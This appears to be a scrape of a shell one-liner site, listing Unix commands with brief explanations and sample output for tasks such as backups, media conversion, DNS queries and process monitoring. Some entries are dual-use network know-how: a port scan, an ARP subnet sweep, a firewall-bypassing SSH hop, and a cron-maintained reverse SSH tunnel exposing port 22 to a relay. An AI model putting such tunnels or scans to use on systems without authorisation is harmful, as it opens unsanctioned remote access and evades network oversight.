This command uses nmap to perform reverse DNS lookups on a subnet. It produces a list of IP addresses with the corresponding PTR record for a given subnet. You can enter the subnet in CDIR notation (i.e. /24 for a Class C)). You could add "--dns-servers x.x.x.x" after the "-sL" if you need the lookups to be performed on a specific DNS server.
On some installations nmap needs sudo I believe. Also I hope awk is standard on most distros.
s='s=\47%s\47; printf "$s" "$s"'; printf "$s" "$s"
bash-quine
this command prints itself out. it doesn't need to be stored in a file and it isn't as easy as
echo $BASH_COMMAND
for information on quines see http://en.wikipedia.org/wiki/Quine_(computing)
screen -xR
Reconnect to screen without disconnecting other sessions
Have your screen session running in multiple places. (warning, things start to look weird if the terminal windows have different dimensions)
mem(){ { case $1 in st*|[vgid]*) printf "%s " "$@";; *) dd if=$3 2>&1|sed '$!d;/^0/d;s/ .*//;s/^/'"$1"' '"$2"' 1 0 /; r '"$3"'' 2>/dev/null;;esac;printf "\r\nquit\r\n";}|nc -n 127.0.0.1 11211; }
Functions: dd printf sed
full memcache client in under 255 chars (uses dd, sed and nc)
usage: mem memcache-command [arguments]
where memcache-command might be:
set
add
get[s]
append
prepend
replace
delete
incr
decr
cas
stats
verbosity
version
notes:
exptime argument is set to 0 (no expire)
flags argument is set to 1 (arbitrary)
time vmware-cmd -l | while read x; do printf "$x"; vmware-cmd "$x" removesnapshots; done
Functions: printf read time
remove all snapshots from all virtual machines in vmware esx
Old snapshots can cause problems. It's best to remove them when finished. I use this script to remove all snapshots. The "while read" command is necessary because my vm names contain spaces. The "time" command reports how long the process runs.
curl --form username=from_twitter --form password=from_twitter --form media=@/path/to/image --form-string "message=tweet" http://twitpic.com/api/uploadAndPost
Twitpic upload and Tweet
gs -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -dFirstPage=2 -dLastPage=2 -sOutputFile=page2.pdf multipageinputfile.pdf
Have to do this once per output file, because if device is 'pdfwrite', even if 'gs' sees '%d' in the OutputFile it still only creates one single output file. Embed it into a simple shell script if you want to split a document out into one file for every page.
for i in `ls ~/.mozilla/firefox/*/Cache`; do file $i | grep -i mpeg | awk '{print $1}' | sed s/.$//; done
4CF25EB3d01
Functions: awk file grep sed
Grab a list of MP3s out of Firefox's cache
Ever gone to a site that has an MP3 embedded into a pesky flash player, but no download link? Well, this one-liner will yank the names of those tunes straight out of FF's cache in a nice, easy to read list. What you do with them after that is *ahem* no concern of mine. ;)
cat /dev/urandom > /dev/dsp
Generate White Noise
This command will generate white noise through your speakers (assuming you have sound enabled). It's good for staying focused, privacy, coping with tinnitus, etc. I use it to test that the sound works.
cat count.txt | awk '{ sum+=$1} END {print sum}'
Functions: awk cat
Using awk to sum/count a column of numbers.
Takes a input file (count.txt) that looks like:
1
2
3
It will add/sum the first column of numbers.
inkscape -f file.svg --verb=org.inkscape.color.grayscale --verb=FileSave --verb=FileClose
Convert a SVG file to grayscale
It requires inkscape 0.46 and lxml packages
exec bash
Clean way of re-running bash startup scripts.
This replaces the current bash session with a new bash session, run as an interactive non-login shell... useful if you have changed /etc/bash.bashrc, or ~/.bashrc
If you have changed a startup script for login shells, use
exec bash -l
Suitable for re-running /etc/profile, ~/.bash_login and ~/.profile.
edit: chinmaya points out that
env - HOME=$HOME TERM=$TERM bash -s "exec bash -l"
will clear any shell variables which have been set... since this verges on unwieldy, might want to use
alias bash_restart='env - HOME=$HOME TERM=$TERM bash -s "exec bash -l"'
svn log $url -r $revision -v | egrep " [RAMD] \/" | sed s/^.....//
/path/to/file.txt
/path/to/another/file.txt
Functions: egrep sed
output list of modifications for an svn revision
url can be a working copy or url to a svn repository, revision is any valid revision number for that branch.
watch -n1 'date "+%T"'
Every 1.0s: date "+%T"
11:33:02
A console clock with the current time.
echo "You can have a bit more realistic typing with some shell magic." | pv -qL $[10+(-2 + RANDOM%5)]
wget --save-cookies ~/.cookies/rapidshare --post-data "login=USERNAME&password=PASSWORD" -O - https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi > /dev/null
In order to do that, first you need to save a cookie file with your account info. These commands do it (maybe you need to create the '.cookies' dir before). Also, you need to check the "Direct downloads" option on the Premium Zone >> Settings tab.
You need to do this once (as long you maintain the file or your Rapidshare Premium account).
nmap -p 1-65535 --open localhost
list all opened ports on host
sed -e '/^$/d' -i .bak filewithempty.lines
$ls
filewithempty.lines filewithempty.lines.bak
remove empty lines in place with backup
Modify file in place to remove empty lines and create a backup of the original with the extension .bak
runas /user:administrator net stop wuauserv
stop windows update
Windows only: stops windows update and the nagging restart window.
You need your admin password for this one.
cat file | tr '\n' ''
convert a line to a space
curl http://www.cpa.unicamp.br/imagens/satelite/ult.gif | xli -onroot -fill stdin
Real time satellite wheather wallpaper
Changes the wallpaper to the last satellite image.
Tha url above shows latin america. Seek the best url for your location
Now I have a usefull background image in my desktop
I use it inside kalarm updating every 15 minutes. May be done with 'watch' instead
It s an option to xplanet ( kde ) and xearth
mpack -s "Backup: $file" "$file" email@id.com
Send a local file via email
Another way of sending an attachment.
-s : subject
file : file to be sent
‹ First < 81 82 83 84 85 > Last ›
ping -c 2 `arp-scan 10.1.1.0/24 | awk '/00:1b:11:dc:a9:65/ {print $1}'`
ping -c 2 `arp-scan 10.1.1.0/24 | awk '/00:1b:11:dc:a9:65/ {print $1}'`
PING 10.1.1.1 (10.1.1.1) 56(84) bytes of data.
64 bytes from 10.1.1.1: icmp_seq=1 ttl=64 time=0.911 ms
64 bytes from 10.1.1.1: icmp_seq=2 ttl=64 time=0.827 ms
--- 10.1.1.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1000ms
rtt min/avg/max/mdev = 0.827/0.869/0.911/0.042 ms
Functions: awk ping
ping MAC ADDRESS
# first install arp-scan if not have it
arp-scan 10.1.1.0/24 .... show ip+mac in localnet
awk '/00:1b:11:dc:a9:65/ {print $1}' .... get ip associated with MAC
` backtick make do command substitution passing ip to command ping
sudo lsof -P -i -n -sTCP:LISTEN
find . -type d -exec du -sk '{}' \; | awk '($1 < 2048) {print $2}'
Functions: awk du find
list folders containing less than 2 MB of data
Just shortened the awk a bit and removed sed. Edit: I'm assuming there are no spaces in the path. To support white space in pathname try:
awk '($1 < 2048) {sub(/^[0-9]+[ \t]+/,""); print $0}'
cpp /usr/include/stdio.h | grep -v '^#' | grep -v '^$' | less
Functions: cpp grep
display typedefs, structs, unions and functions provided by a header file
will display typedefs, structs, unions and functions declared in 'stdio.h'(checkout _IO_FILE structure). It will be helpful if we want to know what a particular header file will offer to us. Command 'cpp' is GNU's C Preprocessor.
psu(){ command ps -Hcl -F S f -u ${1:-$USER}; }
$ psu askapache
F S PID PPID CLS PRI ADDR SZ WCHAN RSS PSR TTY CMD
$ psu root
Output Detailed Process Tree for any User
An easy function to get a process tree listing (very detailed) for all the processes of any gived user.
This function is also in my http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html
find . \( -type d -name .svn -prune \) -o -type d -print
Lists all directories under the current dir excluding the .svn directory and its contents
read -p "Press enter to continue.."
Press enter to continue..; cmd xyz
Waiting for a key stroke. You can use this with a ";" behind to build a command chain.
st() { LDFLAGS=-static CFLAGS=-static CXXFLAGS=-static NOSHARED=yes ./configure $@ ;} usage: st [configure operands]
This isn't always going to work... and there's more flags one could add, but in simple cases it will work and is useful for some 3d party libs that are only used by a one or a few programs.
static compilation
rpm -qa --queryformat '%{installtime} \"%{vendor}\" %{name}-%{version}-%{release} %{installtime:date}\n' | grep "Thu 05 Mar"
$ rpm -qa --queryformat '%{installtime} \"%{vendor}\" %{name}-%{version}-%{release} %{installtime:date}\n' | grep "Thu 05 Mar"
1236267113 "Mandriva" alsa-plugins-pulse-config-1.0.18-1.2mdv2009.0 Thu 05 Mar 2009 15:31:53 GMT
1236267115 "Mandriva" libalsa-data-1.0.18-1.2mdv2009.0 Thu 05 Mar 2009 15:31:55 GMT
1236267116 "Mandriva" libalsa2-devel-1.0.18-1.2mdv2009.0 Thu 05 Mar 2009 15:31:56 GMT
1236267118 "Mandriva" libalsa-plugins-pulseaudio-1.0.18-1.2mdv2009.0 Thu 05 Mar 2009 15:31:58 GMT
1236267118 "Mandriva" alsa-utils-1.0.18-1.2mdv2009.0 Thu 05 Mar 2009 15:31:58 GMT
1236267113 "Mandriva" alsa-plugins-doc-1.0.18-1.2mdv2009.0 Thu 05 Mar 2009 15:31:53 GMT
1236267126 "Mandriva" tomboy-0.12.2-1.1mdv2009.0 Thu 05 Mar 2009 15:32:06 GMT
1236267114 "Mandriva" libalsa2-1.0.18-1.2mdv2009.0 Thu 05 Mar 2009 15:31:54 GMT
1236267117 "Mandriva" libalsa-plugins-1.0.18-1.2mdv2009.0 Thu 05 Mar 2009 15:31:57 GMT
Functions: grep rpm
Find out which RPMs were installed on a particular date.
These would (naturally) include update RPMs.
This example shows searching for "Thu 05 Mar" (with grep).
Alternatively, pipe it to less so you can search inside less (with less's neat text highlighting of the search term):
rpm -qa --queryformat '%{installtime} \"%{vendor}\" %{name}-%{version}-%{release} %{installtime:date}\n' | less # (this example) search term: Thu 05 Mar
fuser -n tcp {0..65535}
For finding out if something is listening on a port and if so what the daemon is.
awk 'func f(n){return(n<2?n:f(n-1)+f(n-2))}BEGIN{while(a<24){print f(a++)}}'
recursive version, "pure" AWK
find * -maxdepth 1 -type f ! -name abc -delete
nil
Remove all the files except abc in the directory
Finds all files in the current directory and deletes them besides file called "abc"
rsync -rv --exclude .svn src/dir/ dest/dir/
Rsync a directory excluding pesky .svn dirs
uuencode $file $file | /usr/bin/mailx -s "$file" ${USER}
The first argument to uuencode is the file on disk, the second is the name of the MIME attachment, which can be the same. The "-s" option of mailx sets the subject is followed by a list of users or email addresses.
Functions: uuencode
Email a file to yourself
This works on Solaris 10.
echo "$url" | perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'
$ echo "this & that" | perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'
this%20%26%20that
$ echo "this & that" | python -c 'import sys,urllib;print urllib.quote(sys.stdin.read().strip())'
Functions: echo perl
Url Encode
Converts reserved characters in a URI to their percent encoded counterparts.
Alternate python version:
echo "$url" | python -c 'import sys,urllib;print urllib.quote(sys.stdin.read().strip())'
ls -1 | rename 's/\ /_/'
Functions: ls rename
Substitute spaces in filename with underscore
Substitute spaces in filename with underscore, it work on the first space encountered.
dd if=/dev/zero of=testfile bs=1024 count=5000
Create a 5 MB blank file
Useful for testing purposes
ffmpeg -i source_audio.mp3 -itsoffset 00:00:10.2 -i source_video.m2v target_video.flv
removing syncronization problems between audio and video
This assumes that there is a 10.2 sec delay between the video and the audio (delayed).
To extract the original video into a audio and video composites look at the command on extracting audio and video from a movie
watch -n1 snmptable -v2c -c public localhost diskIOTable
SNMP table: UCD-DISKIO-MIB::diskIOTable
diskIOIndex diskIODevice diskIONRead diskIONWritten diskIOReads diskIOWrites diskIOLA1 diskIOLA5 diskIOLA15 diskIONReadX diskIONWrittenX
Show simple disk IO table using snmp
Show a simple table with disk IO for the specified host. you monitor a LOT of different thing. Mostly used for MRTG and similar, but this is nice for a quick look, which disk is busy.
"public" is your SNMP community
ensure that snmpd is running on the host which you intend to monitor
:set pt=
vim's pastetoggle: when you press f9 'paste' is on , press f9 again and 'paste' is off, and so forth (works in insert-mode and command-mode)
ffmpeg -i source_movie.flv -vcodec mpeg2video target_video.m2v -acodec copy target_audio.mp3
extracting audio and video from a movie
rips the audio and video stream of a movie. The two streams are stored separately.
hdiutil attach somefile.dmg
Mount a disk image (dmg) file in Mac OSX
To unmount, replace "attach" with "eject"
/usr/share/mplayer/midentify.sh `find . -name "*.avi" -print` | grep ID_LENGTH | awk -F "=" '{sum += $2} END {print sum/60/60; print "hours"}'
35.5096
hours
Shows you how many hours of avi video you have.
midentify.sh is part of mplayer, but you might have to locate it on your box.
du -sch ./*
echo "10 i 2 o $(date +"%H%M"|cut -b 1,2,3,4 --output-delimiter=' ') f"|dc|tac|xargs printf "%04d\n"|tr "01" ".*"
Functions: echo printf tr xargs
displays current time in "binary clock" format
(loosely) inspired by: http://www.thinkgeek.com/homeoffice/lights/59e0/
"Decoding":
.... - 1st hour digit: 0
*..* - 2nd hour digit: 9 (8+1)
.*.. - 1st minutes digit: 4
*..* - 2nd minutes digit: 9 (8+1)
Prompt-command version:
PROMPT_COMMAND='echo "10 i 2 o $(date +"%H%M"|cut -b 1,2,3,4 --output-delimiter=" ") f"|dc|tac|xargs printf "%04d\n"|tr "01" ".*"'
‹ First < 82 83 84 85 86 > Last ›
curl -I g.cn
HTTP/1.1 302 Found
Location: http://www.google.cn/webhp?source=g_cn
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Date: Mon, 28 Mar 2011 08:29:59 GMT
Server: gws
Content-Length: 235
X-XSS-Protection: 1; mode=block
command | pbcopy && pbpaste
Mac OS-X-> copy and paste things to and from the clipboard from the shell
Copies whatever is piped to the pbcopy command to the clipboard.
pbpaste ... well pastes whats on the clipboard.
for I in `/sbin/lspci |awk '/VGA/{print $1}'`;do /sbin/lspci -v -s $I;done
01:00.0 VGA compatible controller: nVidia Corporation G84 [GeForce 8600 GT] (rev a1) (prog-if 00 [VGA controller])
02:00.0 VGA compatible controller: nVidia Corporation G84 [GeForce 8600 GT] (rev a1) (prog-if 00 [VGA controller])
Get information on your graphics card on linux (such as graphics memory size)
Loop is needed if you have more then one card.
sox -v 0.125 -V -t au -r 8000 -U -b -c 1 resample -ql
Convert mp3/wav file to asterisk ulaw for music on hold (moh)
distribution specific information
touch -t "YYYYMMDDhhmm.ss" ~/.ts ; find . -newer ~/.ts
Lists all files and directories with modified time newer than a given date
This is great for looking for files that have been updated recently. Logs especially or monitoring what files were added during an install.
v=/dev/vg0/lv0; lvextend -L+200G $v && resize2fs $v
Functions: resize2fs
Resize A Mounted EXT3 File System
Live extension of an ext3 file system on logical volume $v by 200GB without the need to unmount/remount.
Requires that you have 1) a version of resize2fs that contains code merged from ext2online, and 2) kernel support for online resizing. (e.g. RHEL 5)
for file in `find . -type f`; do cat $file; done | wc -l
Functions: cat file wc
Count number of Line for all the files in a directory recursively
apt-cache stats
How to know the total number of packages available
Kill all process using regular expression (-r option)
killall -r ".*my-process.*"
weather() { lynx -dump "http://mobile.weather.gov/port_zh.php?inputstring=$*" | sed 's/^ *//;/ror has occ/q;2h;/__/!{x;s/\n.*//;x;H;d};x;s/\n/ -- /;q';}
$ weather chicago, il
Chicago, IL -- Mostly Cloudy: 47 ?F
$ weather los angeles
Los Angeles, CA -- Fair: 83 ?F
$ weather 02456
New Town, MA -- Fair: 44 ?F
Show current weather for any US city or zipcode
Scrape the National Weather Service
find . -type f -name '*.htm' -delete
recursive remove all htm files
alien -r -c file.deb
Convert deb to rpm
converts between Red Hat rpm, Debian deb, Stampede slp, Slackware tgz, and Solaris pkg file formats ... It also supports LSB packages.
fdupes -r .
If you have the fdupes command, you'll save a lot of typing. It can do recursive searches (-r,-R) and it allows you to interactively select which of the duplicate files found you wish to keep or delete.
geoip(){curl -s "http://www.geody.com/geoip.php?ip=${1}" | sed '/^IP:/!d;s/<[^>][^>]*>//g' ;}
geoip lookup
ifconfig -a| awk '/^wlan|^eth|^lo/ {;a=$1;FS=":"; nextline=NR+1; next}{ if (NR==nextline) { split($2,b," ")}{ if ($2 ~ /[0-9]\./) {print a,b[1]}; FS=" "}}'
lo 127.0.0.1
wlan0 192.168.1.100
Show interface/ip using awk
Interfaces like lo can be omitted from the beginning, there are probably better ways of doing this, i'm a noob at awk.
which command
which python
/usr/bin/python
Functions: which
shows the full path of shell commands
for i in emerg alert crit error warn ; do awk '$6 ~ /^\['$i'/ {print substr($0, index($0,$6)) }' error_log | sort | uniq -c | sort -n | tail -1; done
4 [emerg] (17)File exists: Couldn't create accept lock
20 [error] [client 1.2.3.4] File does not exist: /Welcome, referer: http://127.0.0.1/
23 [warn] Init: Session Cache is not configured [hint: SSLSessionCache]
Quickly analyse an Apache error log
This searches the Apache error_log for each of the 5 most significant Apache error levels, if any are found the date is then cut from the output in order to sort then print the most common occurrence of each error.
export PS1='\[\033[0;35m\]\h\[\033[0;33m\] \w\[\033[00m\]: '
colored prompt
It colors the machine name and current directory different colors for easy viewing.
awk '!_[$0]++{print}'
uniq for unsorted data
ssh -N -L2001:localhost:80 -o "ProxyCommand ssh someuser@hubmachine nc -w 5 %h %p" someuser@destinationmachine
setup a tunnel from destination machine port 80 to localhost 2001, via a second (hub) machine.
this is handy when the hubmachine is the only machine that can connect to the destination machine (allowed on ip by firewall) and you want to access it from your laptop.
history | perl -lane '$lsize{$_} = scalar(@F); if($longest<$lsize{$_}) { $longest = $lsize{$_}; print "$_"; };' | tail -n1
find the longest command in your history
ps aux | awk '{sum+=$6} END {print sum/1024}'
Pulls total current memory usage, including SWAP being used, by all active processes.
mkfs.ext3 -T largefile4
Functions: mkfs mkfs.ext3
Ext3 format Terabytes in Seconds
ruby -e "puts (1..20).map {rand(10 ** 10).to_s.rjust(10,'0')}"
-bash2-2.05b$ uname -sr
FreeBSD 5.4-RELEASE-p14
-bash2-2.05b$ ruby -e "puts (1..20).map {rand(10 ** 10).to_s.rjust(10,'0')}"
6366075576
2917975774
7329745840
8691581041
5890408189
1638634981
0295194105
6344513644
4301587535
4936779610
1481540380
5683771498
6753375812
4915063505
1500897963
8012594603
1481070124
3665078190
0436854511
6307883169
Random numbers with Ruby
There's been a few times I've needed to create random numbers. Although I've done so in PERL, I've found Ruby is actually faster. This script generates 20 random "10" digit number NOT A RANDOM NUMBER. Replace 20 (1..20) with the amount of random numbers you need generated
‹ First < 83 84 85 86 87 > Last ›
tar -cvzf arch.tgz $(find /path/dir -not -type d)
Tar - Compress by excluding folders
If you give tar a list of filenames, it will not add the directories, so if you don't care about directory ownership or permissions, you can save some space.
Tar will create directories as necessary when extracting.
This command is limited by the maximum supported size of the argument list, so if you are trying to tar up the whole OS for instance, you may just get "Argument list too long".
file='path to file'; tar -cf - "$file" | pv -s $(du -sb "$file" | awk '{print $1}') | gzip -c | ssh -c blowfish user@host tar -zxf - -C /opt/games
112MB 0:00:12 [8.78MB/s] [==============> ] 96%
Functions: awk du file gzip ssh tar
improve copy file over ssh showing progress
You set the file/dirname transfer variable, in the end point you set the path destination, this command uses pipe view to show progress, compress the file outut and takes account to change the ssh cipher. Support dirnames with spaces.
Merged ideas and comments by http://www.commandlinefu.com/commands/view/4379/copy-working-directory-and-compress-it-on-the-fly-while-showing-progress and http://www.commandlinefu.com/commands/view/3177/move-a-lot-of-files-over-ssh
for a in bzip2 lzma gzip;do echo -n>$a;for b in $(seq 0 256);do dd if=/dev/zero of=$b.zero bs=$b count=1;c=$(date +%s%N);$a $b.zero;d=$(date +%s%N);total=$(echo $d-$c|bc);echo $total>>$a;rm $b.zero *.bz2 *.lzma *.gz;done;done
Functions: bzip2 date dd echo seq
Compression formats Benchmark
See: http://imgur.com/JgjK2.png for example.
Run:
gnuplot -persist <(echo "plot 'lzma' with lines, 'gzip' with lines, 'bzip2' with lines")
To see it in graph form.
perl -pe's/([\d.]+)/localtime $1/e;'
perl -pe's/([\d.]+)/localtime $1/e;' /var/nagios/nagios.log
[Tue Jan 19 09:48:00 2010] HOST EVENT HANDLER: winboxen.example.com;(null);(null);(null);notify-host-by-email
Perl one liner for epoch time conversion
Converts Unix epoch time to localtime. Useful for any logs that only display epoch time.
sed '10,20!d'
Subtly different to the -n+p method... and probably wrong in so many ways....... But it's shorter. Just.
ps -ef --sort=-%cpu
List processes sorted by CPU usage
[[ $(COLUMNS=200 ps faux | awk '/grep/ {next} /ssh -N -R 4444/ {i++} END {print i}') ]] || nohup ssh -N -R 4444:localhost:22 user@relay &
Functions: awk nohup ps ssh
ensure your ssh tunnel will always be up (add in crontab)
I find it ugly & sexy at the same time isn't it ?
eval $(sed -n "s/^d[^D]*DB_\([NUPH]\)[ASO].*',[^']*'\([^']*\)'.*/_\1='\2'/p" wp-config.php) && mysqldump --opt --add-drop-table -u$_U -p$_P -h$_H $_N | gpg -er AskApache >`date +%m%d%y-%H%M.$_N.sqls`
gpg: using PGP trust model
gpg: using subkey 8B2 instead of primary key 6B40
gpg: This key belongs to us
gpg: reading from `[stdin]'
gpg: writing to stdout
gpg: ELG-E/AES256 encrypted for: "82 AskApache "
081809-0255.askapache-blog2342.sqls
Functions: eval gpg sed
Create Encrypted WordPress MySQL Backup without any DB details, just the wp-config.php
The coolest way I've found to backup a wordpress mysql database using encryption, and using local variables created directly from the wp-config.php file so that you don't have to type them- which would allow someone sniffing your terminal or viewing your shell history to see your info.
I use a variation of this for my servers that have hundreds of wordpress installs and databases by using a find command for the wp-config.php file and passing that through xargs to my function.
( IFS=:; for p in $PATH; do echo $p; done )
/usr/X11R6/bin
The output of "echo $PATH" is hard to read, this is much easier. The parentheses ensure that the change to the input field separator (IFS) only happens the the sub shell and not affecting the current shell.
aptitude install '?and(~nlib.*perl, ~Dmodule)'
Bulk install
Like 7172, but much easier.
xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s
Change wallpaper for xfce4 >= 4.6.0
Simply changes the wallpaper of xfce4 from the command line. Not for multiple displays.
grep -PL "\t" -r . | grep -v ".svn" | xargs sed -i 's/\t/ /g'
Replace all tabs with spaces in an application
Note that this assumes the application is an SVN checkout and so we have to throw away all the .svn files before making the substitution.
( apache2ctl -t && service apache2 restart || (l=$(apache2ctl -t 2>&1|head -n1|sed 's/.*line\s\([0-9]*\).*/\1/'); vim +$l $(locate apache2.conf | head -n1)))
Functions: head locate sed vim
Check apache config syntax and restart or edit the file
Checks the apache configuration syntax, if is OK then restart the service otherwise opens the configuration file with VIM on the line where the configuration fails.
ps aux | sort +2n | tail -20
Functions: ps sort tail
Show the 20 most CPU/Memory hungry processes
This command will show the 20 processes using the most CPU time (hungriest at the bottom).
You can see the 20 most memory intensive processes (hungriest at the bottom) by running:
ps aux | sort +3n | tail -20
Or, run both:
echo "CPU:" && ps aux | sort +2n | tail -20 && echo "Memory:" && ps aux | sort +3n | tail -20
sudo vol_id -u /dev/sda1
c0cddfdb-8a0b-4b45-afb1-b904825bf31d
Shows the UUID of a filesystem or partition that can be used in kernel root options and in fstab.
Run it without the -u option to generate more information. eg:
~/ sudo vol_id /dev/sda2
ID_FS_USAGE=other
ID_FS_TYPE=swap
ID_FS_VERSION=2
ID_FS_UUID=27fca13d-97b7-4d28-882c-6d03353f0a82
ID_FS_UUID_ENC=27fca13d-97b7-4d28-882c-6d03353f0a82
ID_FS_LABEL=
ID_FS_LABEL_ENC=
\rm somefile
use the real 'rm', distribution brain-damage notwithstanding
The backslash avoids any 'rm' alias that might be present and runs the 'rm' command in $PATH instead.
In a misguided attempt to be more "friendly", some Linux distributions (or sites/etc.) alias 'rm' to 'rm -i'. Unfortunately, this trains users to expect that files won't actually be deleted until they okay it. This expectation will fail with catastrophic results when they use other distributions, move to other sites, etc., and doesn't really even work 100% even with the alias. It's too late to fix 'rm', but '\rm' should work everywhere (under bash).
losetup /dev/loop0 harddrive.img; kpartx -a -v /dev/loop0; mount /dev/mapper/loop0p1 /mountpoint/
Functions: losetup mount
Mount partition from image (without offset mount)
cat /dev/urandom | gzip -9 > /dev/null &
[1] 12345
Functions: cat gzip
useless load
check your load with top... Start more of these jobs to get an multi-core cpu busy...
say -f file.txt
Read aloud a text file in Mac OS X
Say if you're logged into a remote system via ssh and this system has an x window system, but yet you still want a screen shot of what's going on graphically. This will do it for you. :-)
sudo dpkg-reconfigure -a
Cleanup debian/ubuntu package configurations
Sometimes, simpler is better.
find $(dpkg -L iptables) -maxdepth 0 -executable -type f
Maybe not clean with big package and too long argument. But return every file who can be executed.
alias rot13='perl -pe "y/A-Za-z/N-ZA-Mn-za-m/;"'
~% echo Command-line-fu | rot13
Pbzznaq-yvar-sh
~% echo Pbzznaq-yvar-sh | rot13
Command-line-fu
rot13 simple substitution cipher via command line
E.g. Useful for hiding spoilers in reviews, etc.
ps -eo pcpu,pid,args | sort -n
0.8 25686 gnome-terminal
1.3 23966 /usr/lib/thunderbird/thunderbird-bin
35.9 6638 /usr/lib/firefox-3.0.6/firefox
Current running process ordered by %CPU
Useful to detect which process is causing system loads. It shows process PID so as we can take further actions.
gpg -c
dhinesh@ubuntu:~$ gpg -c sample.rb
Enter passphrase:
Repeat passphrase:
dhinesh@ubuntu:~$
Encryption file in commad line
This will encrypt your single file and create a filename.gpg file.
Option: * -c : Encrypt with symmetric cipher
To decrypt
dhinesh@ubuntu:~$ gpg -c sample.rb.gpg
‹ First < 84 85 86 87 88 > Last ›
ps -o etime `pidof firefox` |grep -v ELAPSED | sed 's/\s*//g' | sed "s/\(.*\)-\(.*\):\(.*\):\(.*\)/\1d \2h/; s/\(.*\):\(.*\):\(.*\)/\1h \2m/;s/\(.*\):\(.*\)/\1m \2s/"
Functions: grep ps sed
To find the uptime of each process-id of particular service or process
quickemail() { echo "$*" | mail -s "$*" email@email.com; }
Email yourself a short note
I created this so I could send myself an email alert when a long-running job was finished, e.g.,
my_long_job.exe ; quickemail my_long_job.exe has finished
netstat -ant | grep :80 | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -n
Show in a web server, running in the port 80, how many ESTABLISHED connections by ip it has.
The command could show you all conecctions if you skip "grep ESTABLISHED"
%! perl -MO=Deparse | perltidy
clean up syntax and de-obfuscate perl script
the command show can be run in vim, here is the same thing on the command line
cat script.pl | perl -MO=Deparse | perltidy
ffmpeg -i input_file.avi output_file.webm
Convert (almost) any video file into webm format for online html5 streaming
curl "http://www.commandlinefu.com/commands/matching/$(echo "$@" | sed 's/ /-/g')/$(echo -n $@ | base64)/plaintext"
for me the above command didn't work for more than one argument but this one does
alias ds='dig +noauthority +noadditional +noqr +nostats +noidentify +nocmd +noquestion +nocomments'
$ ds saintaardvarkthecarpeted.com mx
saintaardvarkthecarpeted.com. 300 IN MX 5 thornhill.saintaardvarkthecarpeted.com.
$ ds -x 198.103.112.150
150.112.103.198.in-addr.arpa. 3600 IN PTR www.primeminister.gc.
150.112.103.198.in-addr.arpa. 3600 IN PTR www.premierministre.g
150.112.103.198.in-addr.arpa. 3600 IN PTR www1.pm.gc.ca.
150.112.103.198.in-addr.arpa. 3600 IN PTR www2.pm.gc.ca.
150.112.103.198.in-addr.arpa. 3600 IN PTR www5.pm.gc.ca.
150.112.103.198.in-addr.arpa. 3600 IN PTR ddt-sft.gc.ca.
150.112.103.198.in-addr.arpa. 3600 IN PTR sft-ddt.gc.ca.
150.112.103.198.in-addr.arpa. 3600 IN PTR primeminister.gc.ca.
150.112.103.198.in-addr.arpa. 3600 IN PTR premierministre.gc.ca
150.112.103.198.in-addr.arpa. 3600 IN PTR pm.gc.ca.
Short and sweet output from dig(1)
Turn off almost all of dig's output except for what you'd see in a zone file. This can also be put into ~/.digrc.
cd /mnt/old && tar cvf - . | ( cd /mnt/new && tar xvf - )
Backup of a partition
Clone a partion with tar.
xargsb() { while read -r cmd; do ${@//'{}'/$cmd}; done; }
xargs for builtin bash commands
Similar to xargs -i, but works with builtin bash commands (rather than running "bash -c ..." through xargs)
ln -nvfs /source /destination
Creates a symbolic link or overwrites an existing one
-n: dereference the existing link
-v: (optional) to be sure of what is being done
-f: force the deletion of the existing one
-s: creates a symlink
Be careful: the destination can also be a file or a directory and it will be overwritten.
egrep '^[^#]' some_file
display contents of a file w/o any comments or blank lines
echo "SECRET MESSAGE" | gpg -e --armor -s | sendmail USER@DOMAIN.COM
Functions: echo gpg sendmail
Send a signed and encrypted email from the command line
A very simple command to send a signed and encrypted message from the command line using GPG Keys
lsof -n | grep /media/cdrom
which process is accessing the CDROM
alias a=" killall rapidly_spawning_process"; a; a; a;
kills rapidly spawning processes that spawn faster than you can repeat the killall command
if you dont want to alias also then you can do
killall rapidly_spawning_process ; !! ; !! ; !!
man -k
$ man -k e2fs
dumpe2fs (8) - dump ext2/ext3 filesystem information
e2fsck (8) - check a Linux ext2/ext3 file system
e2fsck.conf (5) - Configuration file for e2fsck
mke2fs (8) - create an ext2/ext3 filesystem
mke2fs.conf (5) - Configuration file for mke2fs
resize2fs (8) - ext2/ext3 file system resizer
tune2fs (8) - adjust tunable filesystem parameters on ext2/ext3 filesystems
Search manpages for a keyword
Search manpages for a keyword. Very useful when you don't know where to find the information.
xinit -- :1
from the console, start a second X server
This starts a very basic X session, with just a simple xterm. You can use this xterm to launch your preferred distant session.
ssh -X john@otherbox gnome-session
Try also startkde or fluxbox or xfce4-session.
To switch between your two X servers, use CTRL+ALT+F7 and CTRL+ALT+F8.
find . -maxdepth 2 -name "*somepattern" -print0 | xargs -0 -I "{}" echo mv "{}" /destination/path
#comment: output only occurs with echo in xargs command, without echo the below would #not appear.
mv /path/of/found/directory/filename /destination/path
Functions: echo find mv xargs
Faster find and move using the find and xargs commands. Almost as fast as locate.
Only tested on Linux Ubunty Hardy. Works when file names have spaces. The "-maxdepth 2" limits the find search to the current directory and the next one deeper in this example. This was faster on my system because find was searching every directory before the current directory without the -maxdepth option. Almost as fast as locate when used as above. Must use double quotes around pattern to handle spaces in file names. -print0 is used in combination with xargs -0. Those are zeros not "O"s. For xargs, -I is used to replace the following "{}" with the incoming file-list items from find. Echo just prints to the command line what is happening with mv. mv needs "{}" again so it knows what you are moving from. Then end with the move destination. Some other versions may only require one "{}" in the move command and not after the -I, however this is what worked for me on Ubuntu 8.04. Some like to use -type f in the find command to limit the type.
infocmp rxvt-unicode | ssh 10.20.30.40 "mkdir -p .terminfo && cat >/tmp/ti && tic /tmp/ti"
Send your terminfo to another machine
I frequently use this trick to send my terminal settings to HPUX and older RHEL systems. This is due to the fact that terminfo support for rxvt-unicode (my preferred terminal app) does not exist on many older Linux and Unices.
tail -n 0 -f /var/log/messages
Watch contents of a file grow
